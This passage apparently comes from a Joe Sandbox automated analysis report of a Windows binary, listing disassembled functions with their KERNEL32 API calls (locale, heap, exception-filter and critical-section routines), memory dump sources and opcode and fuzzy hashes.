GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00DCC6B4,00000000,00000000,?), ref: 00DCC946

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 73f9336bbaf066386a3ae7be46a09b7e637605a4e561a44ada3ae29d1585ddd0
Instruction ID: fe27f76ae2ca3d48867538a59a01532d11f3bad58f5f8182504d2e5a5b7aec7b
Opcode Fuzzy Hash: 73f9336bbaf066386a3ae7be46a09b7e637605a4e561a44ada3ae29d1585ddd0
Instruction Fuzzy Hash: A6F0F933610113BBDB285B608805FBA77A8EB40755F09442CEE4AA3180DE30FE01CEB0

Function 00DCC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

EnumSystemLocalesW.KERNEL32(00DCC6EB,00000001,?,?,-00000050,?,00DCCA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00DCC457

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 18b6b87a5b2943fcfd75dad64ef9428b9596d0557c93f893476c92d70e42ace4
Instruction ID: 915f79415241c5a67c83832abd145a70080b9c649909d88425c183ef20447805
Opcode Fuzzy Hash: 18b6b87a5b2943fcfd75dad64ef9428b9596d0557c93f893476c92d70e42ace4
Instruction Fuzzy Hash: 2AF022322043055FCB185F78DC91F7A7B90EB80768F09802DFA0A8B690C671AC02C620

Function 00DC5D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DBDDC1: EnterCriticalSection.KERNEL32(?,?,00DC4B89,?,00DDC2E0,00000008,00DC4D4D,?,00DBC446,?), ref: 00DBDDD0

EnumSystemLocalesW.KERNEL32(00DC5D72,00000001,00DDC3A0,0000000C,00DC6127,00000000), ref: 00DC5DB7

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ca12fddf86ff62b008267b157faf65922a88b48682250e0641173142fa2ed046
Instruction ID: f3670a36713915e387b1924dc56833d83009e6c6ae2279c319206118a4edb26b
Opcode Fuzzy Hash: ca12fddf86ff62b008267b157faf65922a88b48682250e0641173142fa2ed046
Instruction Fuzzy Hash: 43F03772A40306EFDB00EF98E846B997BB0EB44721F10806AE412EB2A0DB755945CF60

Function 00DCC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

EnumSystemLocalesW.KERNEL32(00DCC280,00000001,?,?,?,00DCCAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00DCC35E

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 013b78fa599a40f0f8bea0490a061a0b7d8d2c479aa716fb0b3bf2551851d980
Instruction ID: 7e1d27d0b057e97c1fe2bb924a12ab6e2744b5eb51be7d7091d913e5263724e5
Opcode Fuzzy Hash: 013b78fa599a40f0f8bea0490a061a0b7d8d2c479aa716fb0b3bf2551851d980
Instruction Fuzzy Hash: 9CF0553A30020657CB149F79DC05B6ABF94FFC1B20B0A405CEB098B290C6319843C7B0

Function 00DC622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00DC23AE,?,20001004,00000000,00000002,?,?,00DC19B0), ref: 00DC625F

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4b6c0f23d06281da88929334fac19a500499b340bb6337c83e212fb22054ac1a
Instruction ID: d12f81b2b50b337199816a6a8b33a768f748e5da7abc06b9366ceab098d90fea
Opcode Fuzzy Hash: 4b6c0f23d06281da88929334fac19a500499b340bb6337c83e212fb22054ac1a
Instruction Fuzzy Hash: 5AE04831501219B7CF122F60DC05FAE7F19EF44760F048015FD0566221D771DD21AAB5

Function 00DB7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,00DB6DC9), ref: 00DB7AB4

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9f271df70172153f050d128e1847f6dcb308da7d6fafe1b76528f298876ea696
Instruction ID: 469bbf2d8e201fe993685b6717ec4939aaad1d223543d6120db0e521fdd7797f
Opcode Fuzzy Hash: 9f271df70172153f050d128e1847f6dcb308da7d6fafe1b76528f298876ea696
Instruction Fuzzy Hash:

Function 00DB1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00DB1E9B

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 274091b0a5f1306da0333fd598759691b192c7fcbb9a0be30eade757d47d6a33
Instruction ID: d6905418a581f7127f4285bdec9f537bd55167878b792e49ca2cef6207234b9d
Opcode Fuzzy Hash: 274091b0a5f1306da0333fd598759691b192c7fcbb9a0be30eade757d47d6a33
Instruction Fuzzy Hash: 3A410B76D2052B9BCB4CEEB8C8561EFBB65EB45350B44427AED11DB3D1E234CA01C6E4

Function 00DCCC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00DCCC4B

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: eeec4cb30c056fee19f86f6d9c66856cef0b296c7357f24949fe074e8bc07167
Instruction ID: ffca740df05b47a1b078f25d18c8df285fdf2224d80091fb205642e3b99dc891
Opcode Fuzzy Hash: eeec4cb30c056fee19f86f6d9c66856cef0b296c7357f24949fe074e8bc07167
Instruction Fuzzy Hash: 36A002705023059F57408F35AA496493B95564559170550659405D5160D62456545652

Function 00E0AD83 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 8599f4458114ef2d76bc80496aa3b29a633ef228f723831c01dc7132ae33cbfc
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 05C18E73D0A6F649CB35826D641823BEEA26E91B4431FE3B1DCD03F1C9C6276D8196D0

Function 00E0A99B Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 42dfb9cf7b294c2422fedec658bd1c72c716f89771e1a9758cd440e8b4981082
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 81C19F33D0A6F609CB35856D245823BEEA26E91B4931FE3B1CCD03F1C9C2276D8196D1

Function 00E0A5C9 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 15bc4a046f9a26020172f3a3fdd78378d20212e21e07d7f4fb59d545bd31c372
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 0BC19F73D0A6F609CB36816D241823EEEA26E91B4431FD3B5CCD03F1D9C2276D8596E1

Function 00DCBB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 33df242a7707b7b93e3a3b81b436bc690acdcf442f014dd6b84f9ec8d254028d
Instruction ID: 7494076d2c9df57ffd4e29f0b3bb91980112b8d6245ffbe6a7f4db81d90bb958
Opcode Fuzzy Hash: 33df242a7707b7b93e3a3b81b436bc690acdcf442f014dd6b84f9ec8d254028d
Instruction Fuzzy Hash: 92B1B3755007478BDB389F25CC92FB6B3A9EF44328F18452EE98787580EB75E9858B30

Function 00E0A22B Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: d65a08c7f5be081a3ead90f7009d76715564affb2074d7fda5578fb5e9a80788
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 5EB18133D1A6F609CB36866D245823EEEA26E91B4431FD3B4CCD03F1D9C227AD8596D1

Function 00DF877B Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: 787e0ad2db69cae6ef000432dfb6ab64c35a35618fc37053e8a054b066389a44
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: D521BE21974AE305CB854FF8FCC012267D1CBCE21B76FC279CF54C9166D06DE66295A0

Function 00DDE076 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41db3c63be5edd695d2948622c74c2bef9fd5632c0b5baf3cbfe3cc183ca57f6
Instruction ID: 28698e8ff38265e76742b2137059d95495aab63d2afc40612615bdf65b8b4db6
Opcode Fuzzy Hash: 41db3c63be5edd695d2948622c74c2bef9fd5632c0b5baf3cbfe3cc183ca57f6
Instruction Fuzzy Hash: 2A2152B5D0020A8FCB54DFA9D4816EEFBF4BB48220F55846AC956B3350E634AA458FA4

Function 00DDE385 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 9a115826c1e767fb605db9deb610fe7d88965402965d0148f1f0155baa24c0bf
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 80F0F836A04114ABCB21DF59DC04ABAFBB9EB47761F253055E449B7610C334EE11AAA8

Function 00DCA64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 10b591786b5316e21ceafd1f43eb47862535848372d2ee2d0145bd6e3586ad65
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 00E08C3296123CEBCB14DB9CC904E8AF3ECEB44B04B19049AB501E3210C270DE00CBE0

Function 00DF55FE Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00DB2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfaa9956ab537887b0d3817ebe36d02715631e35293579796b9b59f17de73987
Instruction ID: b0f4547ceea1d911b559df0c05709997420445479e1aa2fe823a7fbc3a35bf5d
Opcode Fuzzy Hash: cfaa9956ab537887b0d3817ebe36d02715631e35293579796b9b59f17de73987
Instruction Fuzzy Hash: 39D0923A601A149FC210CF09E440941F7B4FB996307164166E944A3720C330FC02CAD0

Function 00DC0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
